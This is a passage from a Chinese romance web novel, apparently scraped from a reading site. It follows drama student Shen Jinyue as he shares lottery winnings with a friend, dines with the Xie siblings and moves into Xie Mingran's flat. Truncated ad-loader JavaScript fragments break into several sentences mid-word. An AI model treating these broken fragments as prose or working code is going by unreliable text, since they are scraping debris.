“沈今越,我认真的啊,这钱你得拿一半走。” “给我我也不知道干嘛啊,你就放你那。” “我看起来像银行?” “就当我投资未来的大摄影师啦。”沈今越笑起来的时候,总能叫看他的人心情愉悦,“以后有幸合作的话,麻烦给我拍帅气点。” 再多说就忸怩,施音把这事记在心底。 “成,不过这十来万你总得先收下吧。”她算得明明白白,“这两年跟你住一块,你都没收我房租,光跟我A了水电日用。” “那也没到这数啊……” “前几天的两万不算啊?还真当我傻,那拖欠尾款的甲方我也认识。” 沈今越不再多说。 三个工作日后,沈今越的账户多些钱,他那一百张四等奖的彩票也兑换完毕,施音也终于把这事跟崔崔和林妍说了,两人痴呆好一阵,这才疯狂地接受了这个事实。 “我出息了。”林妍震撼,“我居然有能中彩票的朋友!” “我写剧本都不敢想象这情节。”崔崔喃喃。 施音笑嘻嘻地给每个人转了一笔,在群里回答着两人‘中奖以后这钱’怎么花的问题。 幻想中,一日暴富后彻底改变命运的生活没有骤然降临。四十万,对这偌大的首都似乎当真不算什么,拍两三个高预算的短片,这钱就可以打水漂去了。 施音和沈今越依旧每天上课,拍片,痛骂学校和无良剧组,给网红号的甲方当孙子,隔三差五接点小活补贴家用。 没错,沈今越是个小有名气的网红,高中时就凭借施音给他拍的照片杀入颜值赛道,原本有一跃成为网红界顶流的趋势,却因为本人不善直播和整活,保持着不温不火的水平。 尽管如此,沈今越也时常喟叹,网红赚钱真容易,他算是踩在了时代的风口上,成为了起飞的那只小小猪。 因此也不怪林妍前些天拒绝了施音的提议。 “我都退学了,难道再复读一年,再艺考一回?我觉得现在这样也挺好的,当网红也赚钱,我爸妈的债我都还完了。这段时间播完我也转赛道,往短剧类走走,怎么不算完成我以前的梦想,当了个演员呢?音砸,没必要把这么多钱给我,你还有梦想,得多往自己身上砸啊。” 施音不知道怎么接。 拍电影是梦想吗?还是痴心妄想?读了这两年书,跟了两年组,见识了周围的人,她也有点搞不清了。 之前总想着留学,是看不惯国内的剧组氛围,想闯一波好莱坞,可,就她这样的,能闯出来吗?留学的钱都不知道要攒到猴年马月。 就连崔雀雀也说,他最后悔的事情就是拿着可以上清北的分数傻乎乎地读了戏剧学院。 当时觉得这行为叫追梦,被学校和社会捶打两年后,比起当编剧,崔雀雀认为,在学校里接作业代写要赚钱得多。 普通结课小作业千字150-200,矜矜业业当编剧写了半年,无署名被骗稿要尾款的样子像他欠了别人的钱。 崔雀雀快死了,他讨厌这种感觉。 他以为的编剧:写故事。 事实上的编剧:码字黑奴。 这个圈子就是一个巨大的囚牢,最擅长用梦想绑架年轻人的劳动力,投下所有成本追逐一个幻影。 也许有一天他会也会走上艺考培训之路,毕竟世界就是个巨大的培训,要么就去卖卖电子烟,总之,不能当编剧,那活不下来,他也不开心。他不喜欢别人对自己的作品指手画脚太多。 “全靠你了。”施音感性地拍拍沈今越的肩膀,“茸茸,早点火起来啊,先富带后富,群友等你呢。” 沈今越笑嘻嘻地说好,心里却知道,火这么一字,四画而已,却也不知道要用多少年才来写成。 · “啊啊啊——” 九月十号,沈今越在家里发出惨叫。 施音急忙忙地从卧室里出来:“怎么了怎么了!有蟑螂吗!” 沈今越面露绝望地从体重秤上下来:“两斤。” “我胖了两斤!!!” “一定是这几天我们吃太好了!!” 自从施音中奖以后,两个人的餐标就直线上升,还打车跨越城区去找崔崔一块吃饭。这对他们来说,已经算得上是最奢侈的事情。 “不能再吃了。”沈今越咬牙,“今天开始戒饭了。” 施音:“两斤还好吧?你脸上又看不出来,现在形体课老师还要死抠你们体重吗?重了就罚钱?” 沈今越摇摇头:“那倒没有,但是我过几天要跑剧组面试,还是瘦点好。” “谢天谢地,这下终于可以出去接戏了。”施音替他感慨。 电影学院和戏剧学院规定,在读表演系本科生,大学前两年禁止在上课期间外出接戏,整个大学四年也不让签约经纪公司。当然,真要算起来,没人管这事,早出名的小孩来读书,也没见和公司解约的。果然应了那话,出名得趁早。 沈今前两年趁着假期跑了跑剧组,当了当龙套,如今也要认真规划起来,得找个靠谱的剧组实习一阵。 “还真是什么事都堆一块了,搬家也是最近的事,我看你这个月得忙死。” “是哦。”沈今越都忘了这茬,“房东还要卖房……啊啊啊!这么个破房子都能卖千 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 万?还能有人买?!我枕是服了啊!” 若要用四个字来评价沈今越近来的生活,那只剩下焦头烂额。 谢明然的消息是在这时候发来的,两人死寂多日的聊天窗口再次复活。 R:有空吗?一起吃个饭。 沈今越睚眦必报地回:喔,发错人了? 谢明然没接招,这就怂了?沈今越啧啧两声,正准备继续输出,铃声陡然响起,依旧是这人。 他接通,丝毫不遮掩情绪地说:“怎么?这么积极?有事求——” “小越!” “棠棠姐!”沈今越立刻坐直身子,一改方才的嚣张语气,“棠棠姐,你怎么……诶,你来这了?” “是呀。”谢明棠的御姐音听起来干脆又爽朗,“过来忙点事,顺便想找我们宝贝小越吃个饭,不知道姐姐有没有荣幸呀?” “棠棠姐,你别这样说。有空的,我肯定有空呀。地址发我,我过来的。” 这说话的语气,跟刚刚同谢明然回消息讲话的全然是两个人。 “不用,我叫我家那个开车过来接你,记得把地址发过来,晚上见。” 电话一挂,沈今越摸不透微信对面是谁,故而发:好的,知道了姐姐/可爱。 R:这么乖? 得。 三个字已掩盖不了谢狗本性。 只茸:谢明然!! 只茸:棠棠姐在你怎么不先跟我说?! R:[分享定位] R:这里? 只茸:你怎么知道我家地址?! R:你是不是忘了上次我在你家睡了一晚的既定事实? 只茸:…… 年纪大了,这记性真不行。 他咬文嚼字,补充:注意,是睡在我家地板上。 · 谢明然电话打来时,沈今越正在跟租房中介沟通,询问同小区或学院路这附近有没有适合的房子。 收拾好出门,立在镜子前,沈今越深深地观察了一下自己的左右脸,施音完全是哄他的,他这么一个长肉先胖脸的体质,分明肉眼就能看出些许区别!瞧他的侧脸下颌线都圆滑了!更别提在镜头前! 不行了,今天这顿吃饭真得减肥。 按照谢明然发来的车牌号找到黑色小车,沈今越抬手去往后座去,啪嗒一声,清清楚楚明明白白地听到车门落锁的声音。 窗户摇下来,豪车也没能让谢明然这一张欠揍的脸变得顺眼起来。 “我是司机?上前面来。” 沈今越一屁股坐上副驾驶,半句话都不与谢明然讲。 “手机尾号?” 沈今越冷看过去:“1250。” 谢明然一转盘将车倒出去,嘴上不停:“拐着弯骂我?” “司机请不要多言。”他说,“专心开你的车。” 谢明然挑挑眉,当真一句话不说。 沈今越把身子往车窗方向靠,尽力远离这人。 没办法,隔了这么多天,他一看到谢明然,嘴里都还能冒出来药酒的味道。 真给孩子蒙上心理阴影了。 不过…… 谢明然是什么时候学会开车的?沈今越往他那瞟了眼,今天的谢明然穿了件简单的黑色立领外套,宽肩窄腰,袖口是运动腕表。那个最爱对他阴阳怪气冷嘲热讽的矜贵脑残小少爷一下长大,当真变成了男人的样子。 想到之前几次的经历,沈今越在心里叹气。 哎,是他硬刚不过的类型了。 “看我做什么?” 沈今越敷衍地随口乱接:“看你帅,行了吧?” “——!”急刹车叫他一下抓紧脑袋顶的把手,“谢明然,你干嘛?!” “红灯。”谢姓司机一本正经地说,“这位乘客,我只是在依法遵守交通规则。” 14. 【014】 “小越!这里!” “棠棠姐!”上一秒还在冷脸走在谢明然身后的某人在听到这声喊以后立刻变了脸,快步小跑过去,热情乖巧地打招呼,“棠棠姐,好久不见。” 谢明棠把人手腕拉着,亲切地来回看了他好几遍:“瘦了呀,最近有没有好好吃饭?” 跟上来的谢明然讥笑一声:“瘦了?你确定?” 感受到对方的目光停留在自己脸颊侧,沈今越暗暗咬牙。 这人干嘛?眼睛是称吗?两斤都看得出来? “别理他。”谢明棠瞪了眼自家亲弟弟,拉着沈今越往包厢走,“冰煮羊你吃的吧?我先点了些,小越,你等下再看看,还有什么别的想吃。” “我都可以的,棠棠姐。” 他乖巧点头的样子叫谢明棠心里软乎乎成一片,她做主叫沈今越看看菜单再点点,沈今越加了道价格适中的菜,与谢明棠聊起来。 “棠棠姐来出差吗?” “嗯,差不多,处理分公司这边的一点业务。” 某人不作声,坐在一旁,抬手喝茶。 “我听他说,你前些天在问,手里有些闲钱不知道能不能投资?” 啊——! 提到这事,沈今越就有点红温。 心里埋怨谢明然把此等琐事告诉谢明棠。 “是的。”沈今越摩挲着手中茶盏的边缘,“我就是好奇,问了一下。” “姐姐帮你琢磨琢磨。”谢明棠人一直很好,笑着问,“大概多少钱?” 沈今越更尴尬了。 “也没多少。”毕竟他原本想象里一百张彩票能大富特富,才会说出给谢明棠掌权的企业投资的事,现在,恐怕他全身家当都掏出来,都抵不了一点零头。他双颊微微泛红,“能灵活用的也就三十来个。” 沈今越有存钱的习惯,在存款利率一路下滑的时代,他依旧喜欢存死定期,这件事让他有安全感。 有时候沈今越都想,也许就是因为他不喜欢冒风险,不懂钱生钱的道理,所以才没能早早走上暴富之路。 “很厉害呀。”沈今越抬头,看见谢明棠真心实意地对他说,“你才刚刚二十岁,能靠自己赚到这么多钱,已经很棒了。” “我这边倒是没什么适合你的项目,不过,我有朋友近来打算入军一下影视行业,你要是感兴趣的话,等我这边情况确定了,我叫这小子联系你。” 这小子从茶杯中抬头。 “好啊。”沈今越欣然应下,“谢谢棠棠姐。” 谢明棠摆摆手,招呼沈今越快些烫肉,又闲聊起别的。 “你跟沈叔,还是不联系?” “嗯。”沈今越维持着的笑意冷了一瞬。 “我听说沈昭扬快回来了。”谢明棠说,“也不知道是什么情况,还想问问你。” “那姐姐你可问错人了。沈家的事,你恐怕比我更清楚。” “也是。”谢明棠叹气,心里烦躁,“你爹……算了。” 当爹的都没好东西。只是这话,她不好当着人小孩的面对其父亲指手画脚讲出来。 “沈昭扬那小子,要是回来敢欺负你,你就跟我说。”谢明棠讲,明丽的眉眼佯装严肃起来,“不准藏着捏着,知道吗?” “知道啦。” 谢明棠给沈今越夹菜,公筷很快就把他面前的小碗堆得满满当当。 又是一筷子,夹起刚刚烫好的肥羊卷。 谢明然看了眼自己空空如也的碗:“……” 到底谁才是这女人的亲生弟弟? “小越,你要是有事要忙,你就先接电话。”吃饭的空隙,一个号码接连给沈今越打了三次电话过来,沈今越每次都不动声色地挂掉,坐在他身侧的谢明棠注意到。 “没事。”沈今越说,“那号码是租房中介的,打过来该是要推销。” “怎么?最近要换房子?” “嗯,现在住的地方房东准备卖掉,这些日子在洽谈,买家时不时上门来看,不是特别方便。我准备换一套租。” 谢明棠眼眸一亮,放下筷子:“那正好,小越,你就直接住我家吧?之前就想跟你说了,不过那时候还有租客在,现在嘛,房子空了出来,你去住,我也放心。” 沈今越记得谢明棠是在这片区有套房子,他刚来这城市上学的时候,谢明棠就提出叫他住过去,他不想因此让谢明棠毁租客的约,便婉拒了这邀请。 “我记得你还有个室友?她要是不介意的话,也可以一道住过去。” “啊?我朋友吗?她租到了学校两人间的宿舍,不会跟我一块住的。” 施音跟大一开学前就铁了心不要住男生宿舍的沈今越不同,一开始,她还是在学校宿舍住了些时日。但她有话直说和一点就燃的脾气跟五人间的室友实在合不到一块,沈今越干脆邀请她来家里一块住,两室一厅的老小区,和朋友住也更开心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 一住就是两年,直到如今,房东准备卖房,施音又正巧租到两人间的宿舍。 “这样也可以啊,你和谢明然两个男孩,住在一块也方便。” “……?” 沈今越艰难地吞掉口中沾满麻酱的鲜嫩肥羊卷。 “我和……谢……明然哥?” 久违的称呼。谢明然扬扬眉峰。 “对呀,他要留在这,还没跟你说?” “没呢。”沈今越感觉肥羊卷都不香了,“明然哥……工作定这了?是要去高校吗?” 沈今越记得谢明然当年是去国外读博了。 谢明棠正想说什么,弟弟抢了话。 “没工作。”谢明然讲,“无业游民。” 谢明棠瞪了眼这别扭的臭小子,又拿他没辙,顺着说:“对,无业游民,没工作。” 这有点出乎沈今越的意料。在他的想象里,谢明然的这一生的脉络都清晰可见,少年天才,学业有成,长大就是当教授的料子。怎么忽然一下没工作了? 谢明棠:“怎么样?搬过去不?” “不太好吧?我怕打扰到明然哥。” 谢明然看向说这话的人,一脸歉疚的小表情,不用瞧也知道,藏在桌下的手估计捏紧了。定是特别不想和他一块住,又不好意思当着姐姐的面直说。 “是不好啊。”谢明然点点头,毫不客气,“你很吵,会很打扰。” 一句话说完,谢明然瞧见沈今越那一侧,桌布的边缘一下被拉直。 “你给我闭嘴,你以为你住的谁的房子?”谢明棠甩来一记眼刀,“小越,你别听他的,这事就姐姐做主,你只要想过去,随时搬,地址密码我晚些时候都发给你。” 见谢明然吃瘪,表情更冷,沈今越笑得真切起来:“好啊。” “谢谢棠棠姐。” 他本来是不想搬去和谢明然一块住,那简直是没苦硬吃,遭老罪了。可一想到谢明然自己也不乐意,他还就真愿意了。宁愿没苦硬吃,也要让谢明然吃点苦头。换个角度想,这说不定是近距离接触谢明然的好机会。 别误会。 他的意思是,如果后面再有非回溯不可的情况出现,同住一个屋檐下,操作起来总比如今方便许多。 他朝人举杯,漂亮的橙子汽水在透明的玻璃杯里沁出一橙晚霞,坏心眼都藏在汽水里,嘀咕咕静冒着小泡,“明然哥,以后就多多指教啦。” 15. 【015】 “蚂蚁搬家都没你能搬。”谢明然瞧着搬家师傅上下五趟后,忍不住出言嘲讽,“沈今越,你是仓鼠公主吗?囤这么多东西。” 他没好气地把手里的两箱尚未拆封的卫生纸放进中型面包车上,此刻,原本空荡荡的置物车厢已被塞得满满当当。 就连搬家的师傅都想不明白:“小伙子,你这一个人搬家,搬出一家三口的架势啊,东西不少呢。” “618打折,算下来八毛一包,不白等于白买。”沈今越喘着气,拿起挂在脖上的小风扇对着自己的脖颈吹了两下,又拧开款泉水,给搬家师傅递去,“师傅,辛苦了。” “我这东西七零八碎的,实在麻烦你们了。” 师傅老实厚道,连水也不接,只说自己有,连连道谢,又往楼上去。沈今越欲紧随其后,谢明然叫住他。 “我的呢?” “什么?……要水啊?那不是放着吗?你自己拿啊。” 谢明然冷着脸上前,拿走了沈今越手里那瓶刚拧开盖的,抬手咕咚两下喝了大半瓶,扭好瓶盖又给放回人手里,一言不发地跟着师傅就往楼道里去。 “真是少爷。”沈今越嘴碎地念了一句,也不知道谢明然跑那么快上楼作甚,拜托邻居帮忙看着车,沈今越也跟着上去,人多力量大,早点帮完,早些收工。搬家累,搬家师傅赚钱也累。 又是两趟,沈今越的东西终于自出租房里清除完毕,他远程给尚在国外的房东拍了照,线上退房拿到押金后,又跟整日蹲在剧组打工的施音报备。 只茸:[图片][图片] 只茸:这下是真走了。 只茸:虽然这房子毛病一大堆,两年漏雨三回,蟑螂与蚊子齐飞。但,怎么回事?我怎么还觉得有点舍不得呢? melody:租房斯德哥尔摩综合征,鉴定完毕。 melody:一会别忘了给我拍拍你那新家啊! 只茸:注意用词。 只茸:家什么家?朋友,我这是只身入敌营,敌营!! 三十分钟后。 只茸:[图片] 只茸:咱这敌营周边环境是不是有点过于豪华了? melody:小茸子,这下你也是学院路质子了!!苟富贵!勿相忘! 沈今越记得谢明棠提过的房子,没去实处看过,只听她说环境不错,离他学校也不算远,门口地铁直达,到西干城下车,也就半小时,跟开车时间差不多。 现在就地考察了下,瞧这绿化极佳堪称公园,管理得当干干净净的小区,沈今越脑子里冒出来的第一反应是:这房子他租不起啊。 谢明然的车停在门口,同门卫讲了声,连带着后面的面包车也一同被放行。 “那车真不错,起码得这个数吧?”安保亭里,有人感叹了句,手上比了个八。 “岂止。”识货的人摆摆手,“限量的。” “新住户?” “是啊。” “那车里装了什么啊?刚没看清。” 识货的人也没瞧见,任他们怎么想也不会想到,玛莎拉蒂后座里,塞得满满的是一大包玩偶和软扑扑的懒人沙发。 沈今越的东西实在太多,光一个电瓶车和俩柜子就占了面包车不少地方,更别提几大包衣服,三四箱书,他收藏的老式影碟光盘…… 能收出这么多东西也实在超乎沈今越所料。真奇怪,明明在家里一眼看过去,并不觉得东西有什么多呀?是,他承认,在高中毕业搬出家住,自己赚钱以后,他是曾报复性消费购物了一些物件,但随后便很快地进入了极简生活,时不时都要把家里收拾一遍,来一趟断舍离之旅。 一舍两年,哪晓得还有这么多东西。 搬家之前是还打算再舍一次,奈何房东给的DDL太过极限,沈今越只得勉强清理了些不必带走的大物件,于学校和社区闲置群里低价甩卖。剩下的,在施音的帮助下,囫囵打包塞箱,一并拉到新处,慢慢整理满满舍离。 跟他的伪极简主义不同,谢明然的家是当真简单。偌大的家,落地的窗,客厅除了大屏电视外,只有个孤零零的沙发,没有茶几,也没有餐桌,更别提如沈今越先前住所般,四处都摆着他精挑细选买来的小物。 空得冷清无人气的地方,在沈今越的东西尽数搬进来以后,立刻变得杂乱起来。沈今越哪好意思?和师傅一块把东西往卧室挪。又忙半天,一切终于收拾完毕,跟师傅道谢,额外补了红包后,沈今越再也受不住,身子向后一倒,瘫在床垫上。 累。 好累。 搬家真不是人干事。 紧绷一天的身体陡然放松下来,他任由思绪漫游,准备静躺半晌,假寐片刻,再估摸着时间点个外卖。 咚咚咚。 有序的敲门声,三长两短,沈今越知道这是谢明然。他从小就爱这么敲门。 “没锁。”他有气无力地回,“又怎么了?我的大小姐。” 门把手下压,紧闭的缝隙拉大,谢明然出现,靠在门框边,手机在掌心,外放的音量很明显。 “到了,已经搬过来了,现在正在屋里呢。”他慢条斯理地回答着电话里女人的问话,“你想看看?转视频?” 沈今越赶忙坐起来,连连朝着谢明然摆手摇头一套连招以示拒绝。 开玩笑,就他现在这么个狼狈模样,屋子也乱成一团,被明棠姐看到岂不是大崩人设? 谢明然显然是个坏蛋,见他这般局促抗拒,还在故意捉弄:“我倒是没什么意见,有什么不能看的?等会啊,我问问——” 沈今越猜这下躲不过去了,立刻从床上弹下来,见缝插针地从成堆的搬家行李里来到谢明然面前,一把将他推出去,反手把门关掉,又拽着他的手臂,固定着电话位置,对那头的人讲:“棠棠姐,你怎么打电话来啦。” “我很好呀,没什么问题的,搬家很顺利,嗯嗯,我也看到啦,新床很舒服!谢谢棠棠姐……诶,家具都是新换的吗?没来得及挑其他的,这个好办,我去买就好了。不用打钱过来啦!!噢?你要跟我讲话,让谢明然走开?” 沈今越就着把稳谢明然手臂的姿势仰头看他,谢明然冷冷回看过来,把手机放到他掌心,沈今越拿稳,立刻缩回自己卧室,将门反锁,此系列动作纵享丝滑。 谢明然站在门口,不快地啧了一声。 他姐搞什么?多大人了还玩小学生悄悄话那一套? 房间内。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>谢明棠是真把沈今越搬家这事放在心上。 忙里抽闲地打来电话,仔仔细细叮嘱半天,还叫沈今越随意住就好,又跟沈今越讲了房子的事。 沈今越提出要不要按市价算算房租,他也不好在这家里白住。谢明棠听了,当真生气,直问他:“小越,你这孩子,到底有没有把我当姐姐?” “我前些年出那事的时候,你成天往医院跑,按你这样说,我还得给你拿钱。” 谢明棠翻出这事,沈今越便闭嘴了。 “小越,你答应我的,那件事,谁也不能说。” 沈今越记得,就算谢明棠看不见,他也老实点头:“棠棠姐,你放心吧,我嘴可严呢。” “好的小宝。”谢明棠轻叹口气,“这家你就放心住,你也知道,房子得养人气,空久了也不好。交给他我不放心,小宝,靠你了哦,就当是自己的房子,更何况,本来早在我心里,你就是我弟弟。” “至于谢明然……”电话那头,女人的声音顿了顿,“他就是个犟种,我懒得理他。他要再这么混下去,没点进展,我迟早断了他的粮。” 断粮? 那不就代表这人马上就要没钱了。 电话挂断,沈今越乐呵呵地出来。 “还没聊够?”瞧人对着手机笑得乐开花,谢明然神情不悦地问。 “够了够了。”沈今越的目光从他面上逡过。哎,怪不得谢明然先前愿意为了五百块就亲他,原来是因这情况。 “沈今越,不管你现在在想什么,最好先闭上你的脑子。”谢明然的语气一如既往的尖酸刻薄,“它现在看起来跟报仇榴莲一样,切开四房都是空空如也。噢,多少还掺了点水。” 沈今越大发慈悲地原谅了谢明然的不礼貌,并将此番话语视为某人苦处被戳破后的自乱阵脚,破防之言。 这人就挣扎吧。 等他当真被断粮那天,他一定会好好在旁看个仔细。 怀抱此等看戏心情,沈今越美美吃了晚饭,点的轻食外送,一堆草和几颗肉,根本不顶饱。可他又有什么办法呢?长了两斤的男人不配吃米饭。碳水忠实爱好者沈今越深深地哭了。哭完后,他拆了一个搬家箱子,收拾了十分钟,盯着满目狼藉的房间,遂放弃。 还是好累。 今日不宜收拾,明日再来。 他简易地拿出从旧家收过来的四件套,铺平在床上,打算就这么凑合一晚。 夜半,膀胱涨涨,尿意来袭。 沈今越梦到自己要在梦里上厕所,立刻被吓醒,迷蒙着下床,用双腿探路,试图在一甘箱子与袋子里找出一条通往卫生间的马桶朝圣之道。 结果显然是失败的。 他右脚不知道踢到什么东西,大拇指疼得要命,他痛呼一声,人没站稳,等门被谢明然推开时,他已穿一身睡衣,倒在一片黑色垃圾袋中。是的,搬家用大型垃圾袋装衣服,是沈今越引以为傲的省钱小技巧之一。至少,在谢明然开嘴讲话之前,他一直这么认为。 啪嗒。 屋内灯乍亮,顶上的光源晃得沈今越不敢睁眼。 谢明然:“怎么?半夜睡不着,决定践行垃圾分类,琢磨该把自己丢进哪个袋子里是吧?” 16. 【016】 人彻底清醒了。 沈今越毫不犹豫反击:“你见过我这么干干净净的小垃圾?” 谢明然:“不好说,有句古话叫‘金玉其外败絮其中’。” 沈今越:“…………” 沈今越:“我还没问你呢!半夜来我房间干嘛!” 谢明然:“你说呢?刚刚那声叫得多大,心里没数?” 大吗?沈今越觉得自己挺小声啊。哼哼,看来这房子才是真正的金玉其外败絮其中。看起来漂漂亮亮,实则隔音极差。隔着这么多堵墙呢,谢明然在卧室都能听到他的声音?豆腐渣工程! “我那是不小心。”沈今越手忙脚乱地从衣服堆里爬起来,企图站直身子,右脚往下一踩,大拇指就传来钻心的疼,叫他只好抬起脚丫,低头一看,还流血了。 到底撞到什么东西了? 眼神往下扫,黑色垃圾袋破口处,尖锐的亚克力板挤出塑料,挂着几滴血渍。 他彻底心疼起来,一张脸皱巴,模样可怜。 谢明然:“现在知道疼了?早不收拾。” “疼。”沈今越泪眼汪汪,“心好疼——” 谢明然轻叹口气:“过来,给你上——” 药字没说完,就见面前小人蹲下,紧张兮兮地把黑色塑料袋打开,掏出被挤压在最底层的亚克力板。两层亚克力夹板内,放着一张幽绿色调的明信片,古色古香,而这明信片的背后,是一排锋利潇洒的行楷。 好眼熟的。谢明然眯了眯眼,打算再看仔细些,沈今越已认认真真撩起衣服的边角擦拭着亚克力上的血渍,来回搓弄好几遍,确认一切恢复如常后,长吁一口气,如对待圣物般,把这小东西放置在了一旁空空的柜面上。 “就这么宝贝?”谢明然不合时宜的提问出现。 “你懂什么!这可是言月老师的亲签!” “…………言月?”谢明然轻而细地琢磨着这两个汉字。 “说了你也不懂!”沈今越才不想跟谢明然聊他最喜欢的作者,“你在这杵着做什么?还不走?……喂!看什么看!不准看!” 沈今越用自己的身子挡住谢明然窥视的目光,挪动身子的时候,脚又发疼,眉头狠皱。 “上药。”谢明然怜悯又笃定地说,“给你十秒钟,出来,沙发见。” 沈今越一瘸一拐地单脚蹦跶着,跟在谢明然身后,屁股稳稳落在沙发,他反应过来——不对啊,他这么听谢明然的话干嘛?都怪这人语气理直气壮理所当然过头。 谢明然再出现在客厅,手里已拎着药箱,小小的一个白色盒子,从中间打开能拉出几层。 沈今越一眼就看到熟悉的药酒。 某种记忆于脑海复苏。 他浑身一机灵:“这玩意儿你怎么还没丢?!” 谢明然:“为什么要丢?” 沈今越:“你你你……你是不是故意的?!”明着恶心他是吧? 谢明然蹙眉,拿起药酒,凑近到沈今越面前,在沈今越大惊失色的时候,把瓶身来回转了几下,好似在欣赏。 “都没开封,我丢它作甚?” 沈今越定睛一看,是没拆封,他立刻意识到,药酒之吻的记忆只有他有,对谢明然来说,自那一啵以后,时间重置,他就会失去对药酒的记忆。这一瓶根本不是他们用过的那瓶,只是牌子恰好一样罢了。 …… ……………… 特喵的。 服了啊! 谢明然到底多喜欢这牌子的药酒?家里也要珍藏一瓶?! 谢明然放下药酒,拿出双氧水和碘伏,棉签从小袋里抽出,拿在他手里。 沈今越脚丫往后一缩。 “我自己来。” 半蹲在他面前的谢明然抬眼瞧他:“不然?” “你想什么?以为我会给你上药?真把自己当仓鼠公主了?” 沈今越:“……” 真想把这人的嘴巴撕烂。 比哑巴兔和手撕鸡还烂的那种烂!! 他一把将棉签从谢明然手里抢过来,弯腰拉长身子企图去够被放在茶几上的碘伏,没碰到,正要起身去拿,一只手把小瓶递了过来。 “没用。”谢明然毫不客气地说了这么一句,夺走沈今越捏在手里的棉签,单手把他受伤的右腿抱起来,放在自己的膝盖上。 客厅灯光开得不算最亮,吊顶里的灯带散着盈盈的暖,棉质长款睡裤上,男生的小腿光滑白皙,就连脚踝都精致得如人偶一样。唯一岔眼的地方,就是圆润的大脚趾上红而深的口子。 棉签裹上碘伏,碰上去就发疼。 沈今越倒吸口气:“姓谢的!你又报复我!” 谢明然冷声说:“半夜起床都能把自己弄伤,幼儿园小班的崽子都比你聪明,就这,我报复你什么?” “别动,蹬什么蹬?驴瘾又犯了?” 沈今越气红着脸,没接嘴。谢明然的大手一把攥住了他的脚踝,力道很大,让他动弹不得。男人指腹的薄茧紧贴着肌肤,痒痒麻麻,不知道是不是处理伤口的感知传递到了大脑。 躁动的客厅蓦然安静下来。 沈今越第一次如此清晰地以从上至下的角度去看谢明然,没怎么用心打理的琐碎黑发下,素日里显得冷淡无情眼白过多的眸子只余下安静的认真。 好似现在他把在掌中的,不是他的脚踝,而是值得珍重的宝物。 就…… 小伙子,还挺 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人模狗………… 狗比!!! 宝个锤子!! 沈今越痛叫一声,只感觉脚踝被人狠狠捏疼。 “你发神经啊!”他骂,“力气这么大!怎么不去景阳冈打虎啊!” 怎么不算打虎?面前这不是乍乍咧咧的小老虎吗?谢明然哼笑一声。 “幼儿园崽子都不如的小朋友,给你点教训,麻烦长点记性。”谢明然反手整理废弃医疗用品,将之丢进垃圾桶,“我可不想哪天半夜起来还要给人收尸。” 医疗箱被合拢,谢明然拎着它物归原处,再回来时,发现沈今越还坐在沙发上一动不动。 “怎么?服务不到位?” 沈今越幽怨地看着他:“你说呢?以后找工作别沾医护,人命关天,岂容尔等放肆。” 谢明然锁眉,强制拿开沈今越一直揉着脚踝的手腕,低眸一扫。 “娇气。” 这人特殊体质的毛病又出现,不过当真用力三分,那处就多了红痕。这哪是仓鼠公主?豌豆公主才对吧。 “有病。”沈今越回骂,抬高自己的脚欣赏,“这什么印子!难看死了!我明天得穿长袜了!” 谢明然扬扬眉峰:“左脚给我,我给你再掐一个,成双成对,能好看点不?” 沈今越:“……不要再跟我说话了。” 没品的家伙。 两圈都是红的,那看起来像什么话?!他又不是被囚禁! 他气呼呼,跛着脚往卧室跳,曾经嚣张的小驴蹄显得可怜得很,谢明然拦住他。 “做什么?”沈今越问。 “这就回去睡?”谢明然答。 “踢到脚而已,又不是有病毒,我干嘛不睡?这都几点了。哦,你问得对,被你这么一搞,我都忘记上厕所了。” 谢明然头疼地掐了掐眉心:“……睡我房间。” “我疯了?!” “我可不想你再摔两次,到时候谢明棠还得找我麻烦。” “我又不是小孩,就这点事,还要跟棠棠姐告状。” 谢明然:“主卧带卫。” 四个字一出,沈今越立刻改口:“好的我去睡觉了。当真?跟我换房间?我告诉你,我这一睡,可是一辈子!” 谢明然瞧着这好似捡到大便宜的笨蛋小老虎。 “睡一辈子?沈今越,别想得比长得美。” “你——等等……”沈今越暴躁一瞬立刻抓住重点,眼睛唰地一亮,得意洋洋地说,“承认吧,谢明然,你也知道我长得很好看,对不对?” 演什么朱先生,哪有他这样好看的朱先生? “……你干嘛不说话。” “你怎么不否认!?!” 17. 【017】 凌晨的客厅,沈今越和谢明然大眼瞪小眼。 什么情况?这人怎么不呛回来?不会真觉得他长得好看吧?自恋归自恋,可谢明然这反应实在太不对劲。沈今越浑身发毛,警惕地盯着他。 “这么看我做什么?”谢明然平静无波地问,“不是尿急吗?还不去上,等着憋出结石进男科吗?” 咦,这嘴巴不是还能用吗?刚刚怎么就哑巴啦? 他提溜着圆乎乎的眼睛狐疑地望着对方。 “我只是短暂地被你那厚脸皮的程度震惊到了。什么时候你的钱包和脸皮一样厚呢?那你就发财了。” 沈今越心头莫名紧张的那根弦一下松掉。 他哼唧一声,臭屁地说:“借你吉言。”脸皮厚是好事,当演员的,脸面要是薄点,怎么面对镜头?要是脸皮厚就能发财,那可太好了。 脑袋一甩,奔着主卧跳去,小驴进巢,第一反应就是反手关门。 门外,谢明然定定站了好一会,忽然卸力,身子靠着墙,不知道想到什么,抬手抓抓头发,长吁口气。 嘎吱。 门又轻轻被推开。 谢明然偏头看过去,瘸腿小驴抱着灰色的薄被,枕头夹在下颌与被子之间,眼睛亮晶晶。 “给你,谢老师。”他说,“你的被子。” 谢明然很敏锐,没伸手去接,保持着侧看的姿势,慢条斯理地说:“想算计我?” “怎么这么说?” “你刚刚叫我什么?” “谢老师。”沈今越从善如流,“我想通了,谢老师,我们现在都是同住一个屋檐下的室友了,直呼其名有点不礼貌,你年纪又大——” “沈今越,我是二十四,不是四十二。” 沈今越:“总归是长辈!都比我大点。” “那你怎么不喊……” “什么?” “没什么。”谢明然抿抿唇,“随你。” 沈今越叫谢老师没什么压力,只要在跟过组的人,就会发现这世界遍地都是老师。虽然,他认为,老尸比老师这两个字更适合谢明然。前者更符合其死气沉沉阴嗖嗖冷冰冰的风格。 既然谢明然应了这称呼,沈今越便得寸进尺些许,乖乖笑着问。 